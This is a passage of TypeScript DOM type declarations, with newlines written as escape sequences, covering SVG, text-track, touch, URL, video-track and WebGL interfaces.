SVG_TRANSFORM_TRANSLATE: number;\\n    readonly SVG_TRANSFORM_UNKNOWN: number;\\n};\\n\\ninterface SVGTransformList {\\n    readonly numberOfItems: number;\\n    appendItem(newItem: SVGTransform): SVGTransform;\\n    clear(): void;\\n    consolidate(): SVGTransform;\\n    createSVGTransformFromMatrix(matrix: SVGMatrix): SVGTransform;\\n    getItem(index: number): SVGTransform;\\n    initialize(newItem: SVGTransform): SVGTransform;\\n    insertItemBefore(newItem: SVGTransform, index: number): SVGTransform;\\n    removeItem(index: number): SVGTransform;\\n    replaceItem(newItem: SVGTransform, index: number): SVGTransform;\\n}\\n\\ndeclare var SVGTransformList: {\\n    prototype: SVGTransformList;\\n    new(): SVGTransformList;\\n};\\n\\ninterface SVGTSpanElement extends SVGTextPositioningElement {\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGTSpanElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGTSpanElement: {\\n    prototype: SVGTSpanElement;\\n    new(): SVGTSpanElement;\\n};\\n\\ninterface SVGUnitTypes {\\n    readonly SVG_UNIT_TYPE_OBJECTBOUNDINGBOX: number;\\n    readonly SVG_UNIT_TYPE_UNKNOWN: number;\\n    readonly SVG_UNIT_TYPE_USERSPACEONUSE: number;\\n}\\ndeclare var SVGUnitTypes: SVGUnitTypes;\\n\\ninterface SVGUseElement extends SVGGraphicsElement, SVGURIReference {\\n    readonly animatedInstanceRoot: SVGElementInstance;\\n    readonly height: SVGAnimatedLength;\\n    readonly instanceRoot: SVGElementInstance;\\n    readonly width: SVGAnimatedLength;\\n    readonly x: SVGAnimatedLength;\\n    readonly y: SVGAnimatedLength;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGUseElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGUseElement: {\\n    prototype: SVGUseElement;\\n    new(): SVGUseElement;\\n};\\n\\ninterface SVGViewElement extends SVGElement, SVGZoomAndPan, SVGFitToViewBox {\\n    readonly viewTarget: SVGStringList;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGViewElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGViewElement: {\\n    prototype: SVGViewElement;\\n    new(): SVGViewElement;\\n};\\n\\ninterface SVGZoomAndPan {\\n    readonly zoomAndPan: number;\\n}\\n\\ndeclare var SVGZoomAndPan: {\\n    readonly SVG_ZOOMANDPAN_DISABLE: number;\\n    readonly SVG_ZOOMANDPAN_MAGNIFY: number;\\n    readonly SVG_ZOOMANDPAN_UNKNOWN: number;\\n};\\n\\ninterface SVGZoomEvent extends UIEvent {\\n    readonly newScale: number;\\n    readonly newTranslate: SVGPoint;\\n    readonly previousScale: number;\\n    readonly previousTranslate: SVGPoint;\\n    readonly zoomRectScreen: SVGRect;\\n}\\n\\ndeclare var SVGZoomEvent: {\\n    prototype: SVGZoomEvent;\\n    new(): SVGZoomEvent;\\n};\\n\\ninterface SyncManager {\\n    getTags(): any;\\n    register(tag: string): Promise<void>;\\n}\\n\\ndeclare var SyncManager: {\\n    prototype: SyncManager;\\n    new(): SyncManager;\\n};\\n\\ninterface Text extends CharacterData {\\n    readonly wholeText: string;\\n    readonly assignedSlot: HTMLSlotElement | null;\\n    splitText(offset: number): Text;\\n}\\n\\ndeclare var Text: {\\n    prototype: Text;\\n    new(data?: string): Text;\\n};\\n\\ninterface TextEvent extends UIEvent {\\n    readonly data: string;\\n    readonly inputMethod: number;\\n    readonly locale: string;\\n    initTextEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, dataArg: string, inputMethod: number, locale: string): void;\\n    readonly DOM_INPUT_METHOD_DROP: number;\\n    readonly DOM_INPUT_METHOD_HANDWRITING: number;\\n    readonly DOM_INPUT_METHOD_IME: number;\\n    readonly DOM_INPUT_METHOD_KEYBOARD: number;\\n    readonly DOM_INPUT_METHOD_MULTIMODAL: number;\\n    readonly DOM_INPUT_METHOD_OPTION: number;\\n    readonly DOM_INPUT_METHOD_PASTE: number;\\n    readonly DOM_INPUT_METHOD_SCRIPT: number;\\n    readonly DOM_INPUT_METHOD_UNKNOWN: number;\\n    readonly DOM_INPUT_METHOD_VOICE: number;\\n}\\n\\ndeclare var TextEvent: {\\n    prototype: TextEvent;\\n    new(): TextEvent;\\n    readonly DOM_INPUT_METHOD_DROP: number;\\n    readonly DOM_INPUT_METHOD_HANDWRITING: number;\\n    readonly DOM_INPUT_METHOD_IME: number;\\n    readonly DOM_INPUT_METHOD_KEYBOARD: number;\\n    readonly DOM_INPUT_METHOD_MULTIMODAL: number;\\n    readonly DOM_INPUT_METHOD_OPTION: number;\\n    readonly DOM_INPUT_METHOD_PASTE: number;\\n    readonly DOM_INPUT_METHOD_SCRIPT: number;\\n    readonly DOM_INPUT_METHOD_UNKNOWN: number;\\n    readonly DOM_INPUT_METHOD_VOICE: number;\\n};\\n\\ninterface TextMetrics {\\n    readonly width: number;\\n}\\n\\ndeclare var TextMetrics: {\\n    prototype: TextMetrics;\\n    new(): TextMetrics;\\n};\\n\\ninterface TextTrackEventMap {\\n    \"cuechange\": Event;\\n    \"error\": Event;\\n    \"load\": Event;\\n}\\n\\ninterface TextTrack extends EventTarget {\\n    readonly activeCues: TextTrackCueList;\\n    readonly cues: TextTrackCueList;\\n    readonly inBandMetadataTrackDispatchType: string;\\n    readonly kind: string;\\n    readonly label: string;\\n    readonly language: string;\\n    mode: any;\\n    oncuechange: (this: TextTrack, ev: Event) => any;\\n    onerror: (this: TextTrack, ev: Event) => any;\\n    onload: (this: TextTrack, ev: Event) => any;\\n    readonly readyState: number;\\n    addCue(cue: TextTrackCue): void;\\n    removeCue(cue: TextTrackCue): void;\\n    readonly DISABLED: number;\\n    readonly ERROR: number;\\n    readonly HIDDEN: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n    readonly SHOWING: number;\\n    addEventListener<K extends keyof TextTrackEventMap>(type: K, listener: (this: TextTrack, ev: TextTrackEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var TextTrack: {\\n    prototype: TextTrack;\\n    new(): TextTrack;\\n    readonly DISABLED: number;\\n    readonly ERROR: number;\\n    readonly HIDDEN: number;\\n    readonly LOADED: number;\\n    readonly LOADING: number;\\n    readonly NONE: number;\\n    readonly SHOWING: number;\\n};\\n\\ninterface TextTrackCueEventMap {\\n    \"enter\": Event;\\n    \"exit\": Event;\\n}\\n\\ninterface TextTrackCue extends EventTarget {\\n    endTime: number;\\n    id: string;\\n    onenter: (this: TextTrackCue, ev: Event) => any;\\n    onexit: (this: TextTrackCue, ev: Event) => any;\\n    pauseOnExit: boolean;\\n    startTime: number;\\n    text: string;\\n    readonly track: TextTrack;\\n    getCueAsHTML(): DocumentFragment;\\n    addEventListener<K extends keyof TextTrackCueEventMap>(type: K, listener: (this: TextTrackCue, ev: TextTrackCueEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var TextTrackCue: {\\n    prototype: TextTrackCue;\\n    new(startTime: number, endTime: number, text: string): TextTrackCue;\\n};\\n\\ninterface TextTrackCueList {\\n    readonly length: number;\\n    getCueById(id: string): TextTrackCue;\\n    item(index: number): TextTrackCue;\\n    [index: number]: TextTrackCue;\\n}\\n\\ndeclare var TextTrackCueList: {\\n    prototype: TextTrackCueList;\\n    new(): TextTrackCueList;\\n};\\n\\ninterface TextTrackListEventMap {\\n    \"addtrack\": TrackEvent;\\n}\\n\\ninterface TextTrackList extends EventTarget {\\n    readonly length: number;\\n    onaddtrack: ((this: TextTrackList, ev: TrackEvent) => any) | null;\\n    item(index: number): TextTrack;\\n    addEventListener<K extends keyof TextTrackListEventMap>(type: K, listener: (this: TextTrackList, ev: TextTrackListEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [index: number]: TextTrack;\\n}\\n\\ndeclare var TextTrackList: {\\n    prototype: TextTrackList;\\n    new(): TextTrackList;\\n};\\n\\ninterface TimeRanges {\\n    readonly length: number;\\n    end(index: number): number;\\n    start(index: number): number;\\n}\\n\\ndeclare var TimeRanges: {\\n    prototype: TimeRanges;\\n    new(): TimeRanges;\\n};\\n\\ninterface Touch {\\n    readonly clientX: number;\\n    readonly clientY: number;\\n    readonly identifier: number;\\n    readonly pageX: number;\\n    readonly pageY: number;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly target: EventTarget;\\n}\\n\\ndeclare var Touch: {\\n    prototype: Touch;\\n    new(): Touch;\\n};\\n\\ninterface TouchEvent extends UIEvent {\\n    readonly altKey: boolean;\\n    readonly changedTouches: TouchList;\\n    readonly charCode: number;\\n    readonly ctrlKey: boolean;\\n    readonly keyCode: number;\\n    readonly metaKey: boolean;\\n    readonly shiftKey: boolean;\\n    readonly targetTouches: TouchList;\\n    readonly touches: TouchList;\\n    readonly which: number;\\n}\\n\\ndeclare var TouchEvent: {\\n    prototype: TouchEvent;\\n    new(type: string, touchEventInit?: TouchEventInit): TouchEvent;\\n};\\n\\ninterface TouchList {\\n    readonly length: number;\\n    item(index: number): Touch | null;\\n    [index: number]: Touch;\\n}\\n\\ndeclare var TouchList: {\\n    prototype: TouchList;\\n    new(): TouchList;\\n};\\n\\ninterface TrackEvent extends Event {\\n    readonly track: VideoTrack | AudioTrack | TextTrack | null;\\n}\\n\\ndeclare var TrackEvent: {\\n    prototype: TrackEvent;\\n    new(typeArg: string, eventInitDict?: TrackEventInit): TrackEvent;\\n};\\n\\ninterface TransitionEvent extends Event {\\n    readonly elapsedTime: number;\\n    readonly propertyName: string;\\n    initTransitionEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, propertyNameArg: string, elapsedTimeArg: number): void;\\n}\\n\\ndeclare var TransitionEvent: {\\n    prototype: TransitionEvent;\\n    new(typeArg: string, eventInitDict?: TransitionEventInit): TransitionEvent;\\n};\\n\\ninterface TreeWalker {\\n    currentNode: Node;\\n    readonly expandEntityReferences: boolean;\\n    readonly filter: NodeFilter;\\n    readonly root: Node;\\n    readonly whatToShow: number;\\n    firstChild(): Node;\\n    lastChild(): Node;\\n    nextNode(): Node;\\n    nextSibling(): Node;\\n    parentNode(): Node;\\n    previousNode(): Node;\\n    previousSibling(): Node;\\n}\\n\\ndeclare var TreeWalker: {\\n    prototype: TreeWalker;\\n    new(): TreeWalker;\\n};\\n\\ninterface UIEvent extends Event {\\n    readonly detail: number;\\n    readonly view: Window;\\n    initUIEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number): void;\\n}\\n\\ndeclare var UIEvent: {\\n    prototype: UIEvent;\\n    new(typeArg: string, eventInitDict?: UIEventInit): UIEvent;\\n};\\n\\ninterface UnviewableContentIdentifiedEvent extends NavigationEventWithReferrer {\\n    readonly mediaType: string;\\n}\\n\\ndeclare var UnviewableContentIdentifiedEvent: {\\n    prototype: UnviewableContentIdentifiedEvent;\\n    new(): UnviewableContentIdentifiedEvent;\\n};\\n\\ninterface URL {\\n    hash: string;\\n    host: string;\\n    hostname: string;\\n    href: string;\\n    readonly origin: string;\\n    password: string;\\n    pathname: string;\\n    port: string;\\n    protocol: string;\\n    search: string;\\n    username: string;\\n    readonly searchParams: URLSearchParams;\\n    toString(): string;\\n}\\n\\ndeclare var URL: {\\n    prototype: URL;\\n    new(url: string, base?: string): URL;\\n    createObjectURL(object: any, options?: ObjectURLOptions): string;\\n    revokeObjectURL(url: string): void;\\n};\\n\\ninterface ValidityState {\\n    readonly badInput: boolean;\\n    readonly customError: boolean;\\n    readonly patternMismatch: boolean;\\n    readonly rangeOverflow: boolean;\\n    readonly rangeUnderflow: boolean;\\n    readonly stepMismatch: boolean;\\n    readonly tooLong: boolean;\\n    readonly typeMismatch: boolean;\\n    readonly valid: boolean;\\n    readonly valueMissing: boolean;\\n}\\n\\ndeclare var ValidityState: {\\n    prototype: ValidityState;\\n    new(): ValidityState;\\n};\\n\\ninterface VideoPlaybackQuality {\\n    readonly corruptedVideoFrames: number;\\n    readonly creationTime: number;\\n    readonly droppedVideoFrames: number;\\n    readonly totalFrameDelay: number;\\n    readonly totalVideoFrames: number;\\n}\\n\\ndeclare var VideoPlaybackQuality: {\\n    prototype: VideoPlaybackQuality;\\n    new(): VideoPlaybackQuality;\\n};\\n\\ninterface VideoTrack {\\n    readonly id: string;\\n    kind: string;\\n    readonly label: string;\\n    language: string;\\n    selected: boolean;\\n    readonly sourceBuffer: SourceBuffer;\\n}\\n\\ndeclare var VideoTrack: {\\n    prototype: VideoTrack;\\n    new(): VideoTrack;\\n};\\n\\ninterface VideoTrackListEventMap {\\n    \"addtrack\": TrackEvent;\\n    \"change\": Event;\\n    \"removetrack\": TrackEvent;\\n}\\n\\ninterface VideoTrackList extends EventTarget {\\n    readonly length: number;\\n    onaddtrack: (this: VideoTrackList, ev: TrackEvent) => any;\\n    onchange: (this: VideoTrackList, ev: Event) => any;\\n    onremovetrack: (this: VideoTrackList, ev: TrackEvent) => any;\\n    readonly selectedIndex: number;\\n    getTrackById(id: string): VideoTrack | null;\\n    item(index: number): VideoTrack;\\n    addEventListener<K extends keyof VideoTrackListEventMap>(type: K, listener: (this: VideoTrackList, ev: VideoTrackListEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [index: number]: VideoTrack;\\n}\\n\\ndeclare var VideoTrackList: {\\n    prototype: VideoTrackList;\\n    new(): VideoTrackList;\\n};\\n\\ninterface WaveShaperNode extends AudioNode {\\n    curve: Float32Array | null;\\n    oversample: OverSampleType;\\n}\\n\\ndeclare var WaveShaperNode: {\\n    prototype: WaveShaperNode;\\n    new(): WaveShaperNode;\\n};\\n\\ninterface WebAuthentication {\\n    getAssertion(assertionChallenge: any, options?: AssertionOptions): Promise<WebAuthnAssertion>;\\n    makeCredential(accountInformation: Account, cryptoParameters: ScopedCredentialParameters[], attestationChallenge: any, options?: ScopedCredentialOptions): Promise<ScopedCredentialInfo>;\\n}\\n\\ndeclare var WebAuthentication: {\\n    prototype: WebAuthentication;\\n    new(): WebAuthentication;\\n};\\n\\ninterface WebAuthnAssertion {\\n    readonly authenticatorData: ArrayBuffer;\\n    readonly clientData: ArrayBuffer;\\n    readonly credential: ScopedCredential;\\n    readonly signature: ArrayBuffer;\\n}\\n\\ndeclare var WebAuthnAssertion: {\\n    prototype: WebAuthnAssertion;\\n    new(): WebAuthnAssertion;\\n};\\n\\ninterface WEBGL_compressed_texture_s3tc {\\n    readonly COMPRESSED_RGB_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT3_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT5_EXT: number;\\n}\\n\\ndeclare var WEBGL_compressed_texture_s3tc: {\\n    prototype: WEBGL_compressed_texture_s3tc;\\n    new(): WEBGL_compressed_texture_s3tc;\\n    readonly COMPRESSED_RGB_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT1_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT3_EXT: number;\\n    readonly COMPRESSED_RGBA_S3TC_DXT5_EXT: number;\\n};\\n\\ninterface WEBGL_debug_renderer_info {\\n    readonly UNMASKED_RENDERER_WEBGL: number;\\n    readonly UNMASKED_VENDOR_WEBGL: number;\\n}\\n\\ndeclare var WEBGL_debug_renderer_info: {\\n    prototype: WEBGL_debug_renderer_info;\\n    new(): WEBGL_debug_renderer_info;\\n    readonly UNMASKED_RENDERER_WEBGL: number;\\n    readonly UNMASKED_VENDOR_WEBGL: number;\\n};\\n\\ninterface WEBGL_depth_texture {\\n    readonly UNSIGNED_INT_24_8_WEBGL: number;\\n}\\n\\ndeclare var WEBGL_depth_texture: {\\n    prototype: WEBGL_depth_texture;\\n    new(): WEBGL_depth_texture;\\n    readonly UNSIGNED_INT_24_8_WEBGL: number;\\n};\\n\\ninterface WebGLActiveInfo {\\n    readonly name: string;\\n    readonly size: number;\\n    readonly type: number;\\n}\\n\\ndeclare var WebGLActiveInfo: {\\n    prototype: WebGLActiveInfo;\\n    new(): WebGLActiveInfo;\\n};\\n\\ninterface WebGLBuffer extends WebGLObject {\\n}\\n\\ndeclare var WebGLBuffer: {\\n    prototype: WebGLBuffer;\\n    new(): WebGLBuffer;\\n};\\n\\ninterface WebGLContextEvent extends Event {\\n    readonly statusMessage: string;\\n}\\n\\ndeclare var WebGLContextEvent: {\\n    prototype: WebGLContextEvent;\\n    new(typeArg: string, eventInitDict?: WebGLContextEventInit): WebGLContextEvent;\\n};\\n\\ninterface WebGLFramebuffer extends WebGLObject {\\n}\\n\\ndeclare var WebGLFramebuffer: {\\n    prototype: WebGLFramebuffer;\\n    new(): WebGLFramebuffer;\\n};\\n\\ninterface WebGLObject {\\n}\\n\\ndeclare var WebGLObject: {\\n    prototype: WebGLObject;\\n    new(): WebGLObject;\\n};\\n\\ninterface WebGLProgram extends WebGLObject {\\n}\\n\\ndeclare var WebGLProgram: {\\n    prototype: WebGLProgram;\\n    new(): WebGLProgram;\\n};\\n\\ninterface WebGLRenderbuffer extends WebGLObject {\\n}\\n\\ndeclare var WebGLRenderbuffer: {\\n    prototype: WebGLRenderbuffer;\\n    new(): WebGLRenderbuffer;\\n};\\n\\ninterface WebGLRenderingContext {\\n    readonly canvas: HTMLCanvasElement;\\n    readonly drawingBufferHeight: number;\\n    readonly drawingBufferWidth: number;\\n    activeTexture(texture: number): void;\\n    attachShader(program: WebGLProgram | null, shader: WebGLShader | null): void;\\n    bindAttribLocation(program: WebGLProgram | null, index: number, name: string): void;\\n    bindBuffer(target: number, buffer: WebGLBuffer | null): void;\\n    bindFramebuffer(target: number, framebuffer: WebGLFramebuffer | null): void;\\n    bindRenderbuffer(target: number, renderbuffer: WebGLRenderbuffer | null): void;\\n    bindTexture(target: number, texture: WebGLTexture | null): void;\\n    blendColor(red: number, green: number, blue: number, alpha: number): void;\\n    blendEquation(mode: number): void;\\n    blendEquationSeparate(modeRGB: number, modeAlpha: number): void;\\n    blendFunc(sfactor: number, dfactor: number): void;\\n    blendFuncSeparate(srcRGB: number, dstRGB: number, srcAlpha: number, dstAlpha: number): void;\\n    bufferData(target: number, size: number | ArrayBufferView | ArrayBuffer, usage: number): void;\\n    bufferSubData(target: number, offset: number, data: ArrayBufferView | ArrayBuffer): void;\\n    checkFramebufferStatus(target: number): number;\\n    clear(mask: number): void;\\n    clearColor(red: number, green: number, blue: number, alpha: number): void;\\n    clearDepth(depth: number): void;\\n    clearStencil(s: number): void;\\n    colorMask(red: boolean, green: boolean, blue: boolean, alpha: boolean): void;\\n    compileShader(shader: WebGLShader | null): void;\\n    compressedTexImage2D(target: number, level: number, internalformat: number, width: number, height: number, border: number, data: ArrayBufferView): void;\\n    compressedTexSubImage2D(target: number, level: number, xoffset: number, yoffset: number, width: number, height: number, format: number, data: ArrayBufferView): void;\\n    copyTexImage2D(target: number, level: number, internalformat: number, x: number, y: number, width: number, height: number, border: number): void;\\n    copyTexSubImage2D(target: number, level: number, xoffset: number, yoffset: number, x: number, y: number, width: number, height: number): void;\\n    createBuffer(): WebGLBuffer | null;\\n    createFramebuffer(): WebGLFramebuffer | null;\\n    createProgram(): WebGLProgram | null;\\n    createRenderbuffer(): WebGLRenderbuffer | null;\\n    createShader(type: number): WebGLShader | null;\\n    createTexture(): WebGLTexture | null;\\n    cullFace(mode: number): void;\\n    deleteBuffer(buffer: WebGLBuffer | null): void;\\n    deleteFramebuffer(framebuffer: WebGLFramebuffer | null): void;\\n    deleteProgram(program: WebGLProgram | null): void;\\n    deleteRenderbuffer(renderbuffer: WebGLRenderbuffer | null): void;\\n    deleteShader(shader: WebGLShader | null): void;\\n    deleteTexture(texture: WebGLTexture | null): void;\\n    depthFunc(func: number): void;\\n    depthMask(flag: boolean): void;\\n    depthRange(zNear: number, zFar: number): void;\\n    detachShader(program: WebGLProgram | null, shader: WebGLShader | null): void;\\n    disable(cap: number): void;\\n    disableVertexAttribArray(index: number): void;\\n    drawArrays(mode: number, first: number, count: number): void;\\n    drawElements(mode: number, count: number, type: number, offset: number): void;\\n    enable(cap: number): void;\\n    enableVertexAttribArray(index: number): void;\\n    finish(): void;\\n    flush(): void;\\n    framebufferRenderbuffer(target: number, attachment: number, renderbuffertarget: number, renderbuffer: WebGLRenderbuffer | null): void;\\n    framebufferTexture2D(target: number, attachment: number, textarget: number, texture: WebGLTexture | null, level: number): void;\\n    frontFace(mode: number): void;\\n    generateMipmap(target: number): void;\\n    getActiveAttrib(program: WebGLProgram | null, index: number): WebGLActiveInfo | null;\\n    getActiveUniform(program: WebGLProgram | null, index: number): WebGLActiveInfo | null;\\n    getAttachedShaders(program: WebGLProgram | null): WebGLShader[] | null;\\n    getAttribLocation(program: WebGLProgram | null, name: string): number;\\n    getBufferParameter(target: number, pname: number): any;\\n    getContextAttributes(): WebGLContextAttributes;\\n    getError(): number;\\n    getExtension(name: string): any;\\n    getFramebufferAttachmentParameter(target: number, attachment: number, pname: number): any;\\n    getParameter(pname: number): any;\\n    getProgramInfoLog(program: WebGLProgram | null): string | null;\\n    getProgramParameter(program: WebGLProgram | null, pname: number): any;\\n    getRenderbufferParameter(target: number, pname: number): any;\\n    getShaderInfoLog(shader: WebGLShader | null): string | null;\\n    getShaderParameter(shader: WebGLShader | null, pname: number): any;\\n    getShaderPrecisionFormat(shadertype: number, precisiontype: number): WebGLShaderPrecisionFormat | null;\\n    getShaderSource(shader: WebGLShader | null): string | null;\\n    getSupportedExtensions(): string[] | null;\\n    getTexParameter(target: number, pname: number): any;\\n    getUniform(program: WebGLProgram | null, location: WebGLUniformLocation | null): any;\\n    getUniformLocation(program: WebGLProgram | null, name: string): WebGLUniformLocation | null;\\n    getVertexAttrib(index: number, pname: number): any;\\n    getVertexAttribOffset(index: number, pname: number): number;\\n    hint(target: number, mode: number): void;\\n    isBuffer(buffer: WebGLBuffer | null): boolean;\\n    isContextLost(): boolean;\\n    isEnabled(cap: number): boolean;\\n    isFramebuffer(framebuffer: WebGLFramebuffer | null): boolean;\\n    isProgram(program: WebGLProgram | null): boolean;\\n    isRenderbuffer(renderbuffer: WebGLRenderbuffer | null): boolean;\\n    isShader(shader: WebGLShader | null): boolean;\\n    isTexture(texture: WebGLTexture | null): boolean;\\n    lineWidth(width: number): void;\\n    linkProgram(program: WebGLProgram | null): void;\\n    pixelStorei(pname: number, param: number | boolean): void;\\n    polygonOffset(factor: number, units: number): void;\\n    readPixels(x: number, y: number, width: number, height: number, format: number, type: number, pixels: ArrayBufferView | null): void;\\n    renderbufferStorage(target: number, internalformat: number, width: number, height: number): void;\\n    sampleCoverage(value: number, invert: boolean): void;\\n    scissor(x: number, y: number, width: number, height: number): void;\\n    shaderSource(shader: WebGLShader | null, source: string): void;\\n    stencilFunc(func: number, ref: number, mask: number): void;\\n    stencilFuncSeparate(face: number, func: number, ref: number, mask: number): void;\\n    stencilMask(mask: number): void;\\n    stencilMaskSeparate(face: number, mask: number): void;\\n    stencilOp(fail: number, zfail: number, zpass: number): void;\\n    stencilOpSeparate(face: number, fail: number, zfail: number, zpass: number): void;\\n    texImage2D(target: number, level: number, internalformat: number, width: number, height: number, border: number, format: number, type: number, pixels: ArrayBufferView | null): void;\\n    texImage2D(target: number, level: number, internalformat: number, format: number, type: number, pixels: ImageBitmap | ImageData | HTMLVideoElement | HTMLImageElement | HTMLCanvasElement): void;\\n    texParameterf(target: number, pname: number, param: number): void;\\n    texParameteri(target: number, pname: number, param: number): void;\\n    texSubImage2D(target: number, level: number, xoffset: number, yoffset: number, width: number, height: number, format: number, type: number, pixels: ArrayBufferView | null): void;\\n    texSubImage2D(target: number, level: number, xoffset: number, yoffset: number, format: number, type: number, pixels: ImageBitmap | ImageData | HTMLVideoElement | HTMLImageElement | HTMLCanvasElement): void;\\n    uniform1f(location: WebGLUniformLocation | null, x: number): void;\\n    uniform1fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform1i(location: WebGLUniformLocation | null, x: number): void;\\n    uniform1iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniform2f(location: WebGLUniformLocation | null, x: number, y: number): void;\\n    uniform2fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform2i(location: WebGLUniformLocation | null, x: number, y: number): void;\\n    uniform2iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniform3f(location: WebGLUniformLocation | null, x: number, y: number, z: number): void;\\n    uniform3fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform3i(location: WebGLUniformLocation | null, x: number, y: number, z: number): void;\\n    uniform3iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniform4f(location: WebGLUniformLocation | null, x: number, y: number, z: number, w: number): void;\\n    uniform4fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform4i(location: WebGLUniformLocation | null, x: number, y: number, z: number, w: number): void;\\n    uniform4iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniformMatrix2fv(location: WebGLUniformLocation, transpose: boolean, value: Float32Array | number[]): void;\\n    uniformMatrix3fv(location: WebGLUniformLocation, transpose: boolean, value: Float32Array | number[]): void;\\n    uniformMatrix4fv(location: WebGLUniformLocation, transpose: boolean, value: Float32Array | number[]): void;\\n    useProgram(program: WebGLProgram | null): void;\\n    validateProgram(program: WebGLProgram | null): void;\\n    vertexAttrib1f(indx: number, x: number): void;\\n    vertexAttrib1fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttrib2f(indx: number, x: number, y: number): void;\\n    vertexAttrib2fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttrib3f(indx: number, x: number, y: number, z: number): void;\\n    vertexAttrib3fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttrib4f(indx: number, x: number, y: number, z: number, w: number): void;\\n    vertexAttrib4fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttribPointer(indx: number, size: number, type: number, normalized: boolean, stride: number, offset: number): void;\\n    viewport(x: number, y: number, width: number, height: number): void;\\n    readonly ACTIVE_ATTRIBUTES: number;\\n    readonly ACTIVE_TEXTURE: number;\\n    readonly ACTIVE_UNIFORMS: number;\\n    readonly ALIASED_LINE_WIDTH_RANGE: number;\\n    readonly ALIASED_POINT_SIZE_RANGE: number;\\n    readonly ALPHA: number;\\n    readonly ALPHA_BITS: number;\\n    readonly ALWAYS: number;\\n    readonly ARRAY_BUFFER: number;\\n    readonly ARRAY_BUFFER_BINDING: number;\\n    readonly ATTACHED_SHADERS: number;\\n    readonly BACK: number;\\n    readonly BLEND: number;\\n    readonly BLEND_COLOR: number;\\n    readonly BLEND_DST_ALPHA: number;\\n    readonly BLEND_DST_RGB: number;\\n    readonly BLEND_EQUATION: number;\\n    readonly BLEND_EQUATION_ALPHA: number;\\n    readonly BLEND_EQUATION_RGB: number;\\n    readonly BLEND_SRC_ALPHA: number;\\n    readonly BLEND_SRC_RGB: number;\\n    readonly BLUE_BITS: number;\\n    readonly BOOL: number;\\n    readonly BOOL_VEC2: number;\\n    readonly BOOL_VEC3: number;\\n    readonly BOOL_VEC4: number;\\n    readonly BROWSER_DEFAULT_WEBGL: number;\\n    readonly BUFFER_SIZE: number;\\n    readonly BUFFER_USAGE: number;\\n    readonly BYTE: number;\\n    readonly CCW: number;\\n    readonly CLAMP_TO_EDGE: number;\\n    readonly COLOR_ATTACHMENT0: number;\\n    readonly COLOR_BUFFER_BIT: number;\\n    readonly COLOR_CLEAR_VALUE: number;\\n    readonly COLOR_WRITEMASK: number;\\n    readonly COMPILE_STATUS: number;\\n    readonly COMPRESSED_TEXTURE_FORMATS: number;\\n    readonly CONSTANT_ALPHA: number;\\n    readonly CONSTANT_COLOR: number;\\n    readonly CONTEXT_LOST_WEBGL: number;\\n    readonly CULL_FACE: number;\\n    readonly CULL_FACE_MODE: number;\\n    readonly CURRENT_PROGRAM: number;\\n    readonly CURRENT_VERTEX_ATTRIB: number;\\n    readonly CW: number;\\n    readonly DECR: number;\\n    readonly DECR_WRAP: number;\\n    readonly DELETE_STATUS: number;\\n    readonly DEPTH_ATTACHMENT: number;\\n    readonly DEPTH_BITS: number;\\n    readonly DEPTH_BUFFER_BIT: number;\\n    readonly DEPTH_CLEAR_VALUE: number;\\n    readonly DEPTH_COMPONENT: number;\\n    readonly DEPTH_COMPONENT16: number;\\n    readonly DEPTH_FUNC: number;\\n    readonly DEPTH_RANGE: number;\\n    readonly DEPTH_STENCIL: number;\\n    readonly DEPTH_STENCIL_ATTACHMENT: number;\\n    readonly DEPTH_TEST: number;\\n    readonly DEPTH_WRITEMASK: number;\\n    readonly DITHER: number;\\n    readonly DONT_CARE: number;\\n    readonly DST_ALPHA: number;\\n    readonly DST_COLOR: number;\\n    readonly DYNAMIC_DRAW: number;\\n    readonly ELEMENT_ARRAY_BUFFER: number;\\n    readonly ELEMENT_ARRAY_BUFFER_BINDING: number;\\n    readonly EQUAL: number;\\n    readonly FASTEST: number;\\n    readonly 